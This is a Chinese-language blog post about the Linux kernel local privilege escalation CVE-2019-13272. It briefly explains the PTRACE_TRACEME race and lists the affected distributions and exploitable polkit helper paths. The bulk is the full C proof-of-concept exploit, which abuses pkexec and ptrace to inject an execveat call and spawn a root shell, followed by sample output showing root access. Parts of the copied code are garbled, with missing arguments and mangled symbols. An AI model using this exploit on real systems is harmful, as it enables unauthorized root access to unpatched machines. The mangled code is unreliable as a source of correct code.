CVE-2019-13272 核心漏洞提權手記
阿新 • • 發佈:2019-12-31
poc: github
kernel-bug-summary: blog
中文簡述:嘶吼
CVE: CVE-2019-13272
要點
簡單總結:即利用併發條件下,子程式在獲取父程式的同時,父程式的憑證得以切換至root來使得子程式同時獲得root許可權。
前提條件:
- kernel使用
PTRACE_TRACEME
來建立 ptrace 關係,而不是PTRACE_ATTACH/PTRACE_SEIZE
。 - 有這樣一個parent程式會需要使用SUID程式來通過root許可權執行一些東西,同時使用到了ptrace
- kernel在檢查憑證的同時沒有檢測到計數器已經為0,不會執行
panic()
中斷髒讀
自己畫的思路圖
影響版本
目前已知影響kernel版本(來自github的poc註釋):
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 17.3 kernel 4.4.0-89-generic
// - Linux Mint 18.3 kernel 4.13.0-16-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
複製程式碼
可利用的parent helper
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper","/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper","/usr/lib/unity-settings-daemon/usd-backlight-helper","/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper","/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper","/usr/sbin/mate-power-backlight-helper" ,"/usr/bin/xfpm-power-backlight-helper","/usr/bin/lxqt-backlight_backend","/usr/libexec/gsd-wacom-led-helper","/usr/libexec/gsd-wacom-oled-helper","/usr/libexec/gsd-backlight-helper","/usr/lib/gsd-backlight-helper","/usr/lib/gsd-wacom-led-helper","/usr/lib/gsd-wacom-oled-helper",複製程式碼
PoC
來自github原始碼: github.com/bcoles/kern…
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// Uses pkexec technique
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <[email protected]>
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid executable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 17.3 kernel 4.4.0-89-generic
// - Linux Mint 18.3 kernel 4.13.0-16-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// ---
// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done,looks good
// [.] Searching for known helpers ...
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// To run a command as administrator (user "root"),use "sudo <command>".
// See "man sudo_root" for details.
//
// root@linux-mint-19-2:/home/user#
// ---
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) { \
dprintf("[-] Error: %s\n",#expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))
/*
* execveat() syscall
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
*/
#ifndef __NR_execveat
# define __NR_execveat 322
#endif
static const char *SHELL = "/bin/bash";
static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;
const char *helpers[1024];
const char *known_helpers[] = {
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",};
/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt,...) {
static char buf[10000];
va_list ap;
va_start(ap,fmt);
vsprintf(buf,fmt,ap);
va_end(ap);
return buf;
}
/*
* fork,execute pkexec in parent,force parent to trace our child process,* execute suid executable (pkexec) in child.
*/
static int middle_main(void *dummy) {
prctl(PR_SET_PDEATHSIG,SIGKILL);
pid_t middle = getpid();
self_fd = SAFE(open("/proc/self/exe",O_RDONLY));
pid_t child = SAFE(fork());
if (child == 0) {
prctl(PR_SET_PDEATHSIG,SIGKILL);
SAFE(dup2(self_fd,42));
/* spin until our parent becomes privileged (have to be fast here) */
int proc_fd = SAFE(open(tprintf("/proc/%d/status",middle),O_RDONLY));
char *needle = tprintf("\nUid:\t%d\t0\t",getuid());
while (1) {
char buf[1000];
ssize_t buflen = SAFE(pread(proc_fd,buf,sizeof(buf)-1,0));
buf[buflen] = '\0';
if (strstr(buf,needle)) break;
}
/*
* this is where the bug is triggered.
* while our parent is in the middle of pkexec,we force it to become our
* tracer,with pkexec's creds as ptracer_cred.
*/
SAFE(ptrace(PTRACE_TRACEME,NULL,NULL));
/*
* now we execute a suid executable (pkexec).
* Because the ptrace relationship is considered to be privileged,* this is a proper suid execution despite the attached tracer,* not a degraded one.
* at the end of execve(),this process receives a SIGTRAP from ptrace.
*/
execl(pkexec_path,basename(pkexec_path),NULL);
dprintf("[-] execl: Executing suid executable failed");
exit(EXIT_FAILURE);
}
SAFE(dup2(self_fd,0));
SAFE(dup2(block_pipe[1],1));
/* execute pkexec as current user */
struct passwd *pw = getpwuid(getuid());
if (pw == NULL) {
dprintf("[-] getpwuid: Failed to retrieve username");
exit(EXIT_FAILURE);
}
middle_success = 1;
execl(pkexec_path,"--user",pw->pw_name,helper_path,"--help",NULL);
middle_success = 0;
dprintf("[-] execl: Executing pkexec failed");
exit(EXIT_FAILURE);
}
/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid,int exec_fd,char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = ®s,.iov_len = sizeof(regs) };
SAFE(ptrace(PTRACE_SYSCALL,pid,NULL));
SAFE(waitpid(pid,&dummy_status,0));
SAFE(ptrace(PTRACE_GETREGSET,NT_PRSTATUS,&iov));
/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page,arg0) }
};
strcpy(ipage.arg0,arg0);
int i;
for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
SAFE(ptrace(PTRACE_POKETEXT,scratch_area + i * sizeof(long),(void*)pdata));
}
/* execveat(exec_fd,path,argv,envv,flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page,path);
regs.rdx = scratch_area + offsetof(struct injected_page,argv);
regs.r10 = scratch_area + offsetof(struct injected_page,envv);
regs.r8 = AT_EMPTY_PATH;
SAFE(ptrace(PTRACE_SETREGSET,&iov));
SAFE(ptrace(PTRACE_DETACH,0));
return 0;
}
static int middle_stage2(void) {
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
pid_t child = SAFE(waitpid(-1,0));
return force_exec_and_wait(child,42,"stage3");
}
// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
static int spawn_shell(void) {
SAFE(setresgid(0,0));
SAFE(setresuid(0,0));
execlp(SHELL,basename(SHELL),NULL);
dprintf("[-] execlp: Executing shell %s failed",SHELL);
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *
static int check_env(void) {
int warn = 0;
const char* xdg_session = getenv("XDG_SESSION_ID");
dprintf("[.] Checking environment ...\n");
if (stat(pkexec_path,&st) != 0) {
dprintf("[-] Could not find pkexec executable at %s\n",pkexec_path);
exit(EXIT_FAILURE);
}
if (stat(pkaction_path,&st) != 0) {
dprintf("[-] Could not find pkaction executable at %s\n",pkaction_path);
exit(EXIT_FAILURE);
}
if (stat("/dev/grsec",&st) == 0) {
dprintf("[-] Warning: grsec is in use\n");
warn++;
}
if (xdg_session == NULL) {
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
warn++;
}
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
dprintf("[!] Warning: Could not find active PolKit agent\n");
warn++;
}
if (stat("/usr/sbin/getsebool",&st) == 0) {
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
warn++;
}
}
dprintf("[~] Done,looks good\n");
return warn;
}
/*
* Use pkaction to search PolKit policy actions for viable helper executables.
* Check each action for allow_active=yes,extract the associated helper path,* and check the helper path exists.
*/
int find_helpers() {
char cmd[1024];
snprintf(cmd,sizeof(cmd),"%s --verbose",pkaction_path);
FILE *fp;
fp = popen(cmd,"r");
if (fp == NULL) {
dprintf("[-] Failed to run: %s\n",cmd);
exit(EXIT_FAILURE);
}
char line[1024];
char buffer[2048];
int helper_index = 0;
int useful_action = 0;
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
int needle_length = strlen(needle);
while (fgets(line,sizeof(line)-1,fp) != NULL) {
/* check the action uses allow_active=yes*/
if (strstr(line,"implicit active:")) {
if (strstr(line,"yes")) {
useful_action = 1;
}
continue;
}
if (useful_action == 0)
continue;
useful_action = 0;
/* extract the helper path */
int length = strlen(line);
char* found = memmem(&line[0],length,needle,needle_length);
if (found == NULL)
continue;
memset(buffer,sizeof(buffer));
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= sizeof(buffer)-1)
continue;
buffer[i] = found[needle_length + i];
}
if (strstr(&buffer[0],"/xf86-video-intel-backlight-helper") != 0 ||
strstr(&buffer[0],"/cpugovctl") != 0 ||
strstr(&buffer[0],"/package-system-locked") != 0 ||
strstr(&buffer[0],"/cddistupgrader") != 0) {
dprintf("[.] Ignoring blacklisted helper: %s\n",&buffer[0]);
continue;
}
/* check the path exists */
if (stat(&buffer[0],&st) != 0)
continue;
helpers[helper_index] = strndup(&buffer[0],strlen(buffer));
helper_index++;
if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
break;
}
pclose(fp);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
int ptrace_traceme_root() {
dprintf("[.] Using helper: %s\n",helper_path);
/*
* set up a pipe such that the next write to it will block: packet mode,* limited to one packet
*/
SAFE(pipe2(block_pipe,O_CLOEXEC|O_DIRECT));
SAFE(fcntl(block_pipe[0],F_SETPIPE_SZ,0x1000));
char dummy = 0;
SAFE(write(block_pipe[1],&dummy,1));
/* spawn pkexec in a child,and continue here once our child is in execve() */
dprintf("[.] Spawning suid process (%s) ...\n",pkexec_path);
static char middle_stack[1024*1024];
pid_t midpid = SAFE(clone(middle_main,middle_stack+sizeof(middle_stack),CLONE_VM|CLONE_VFORK|SIGCHLD,NULL));
if (!middle_success) return 1;
/*
* wait for our child to go through both execve() calls (first pkexec,then
* the executable permitted by polkit policy).
*/
while (1) {
int fd = open(tprintf("/proc/%d/comm",midpid),O_RDONLY);
char buf[16];
int buflen = SAFE(read(fd,sizeof(buf)-1));
buf[buflen] = '\0';
*strchrnul(buf,'\n') = '\0';
if (strncmp(buf,basename(helper_path),15) == 0)
break;
usleep(100000);
}
/*
* our child should have gone through both the privileged execve() and the
* following execve() here
*/
dprintf("[.] Tracing midpid ...\n");
SAFE(ptrace(PTRACE_ATTACH,midpid,NULL));
SAFE(waitpid(midpid,0));
dprintf("[~] Attached to midpid\n");
force_exec_and_wait(midpid,"stage2");
exit(EXIT_SUCCESS);
}
int main(int argc,char **argv) {
if (strcmp(argv[0],"stage2") == 0)
return middle_stage2();
if (strcmp(argv[0],"stage3") == 0)
return spawn_shell();
dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");
check_env();
if (argc > 1 && strcmp(argv[1],"check") == 0) {
exit(0);
}
/* Search for known helpers defined in 'known_helpers' array */
dprintf("[.] Searching for known helpers ...\n");
int i;
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i],&st) == 0) {
helper_path = known_helpers[i];
dprintf("[~] Found known helper: %s\n",helper_path);
ptrace_traceme_root();
}
}
/* Search polkit policies for helper executables */
dprintf("[.] Searching for useful helpers ...\n");
find_helpers();
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
if (helpers[i] == NULL)
break;
if (stat(helpers[i],&st) == 0) {
helper_path = helpers[i];
ptrace_traceme_root();
}
}
return 0;
}
複製程式碼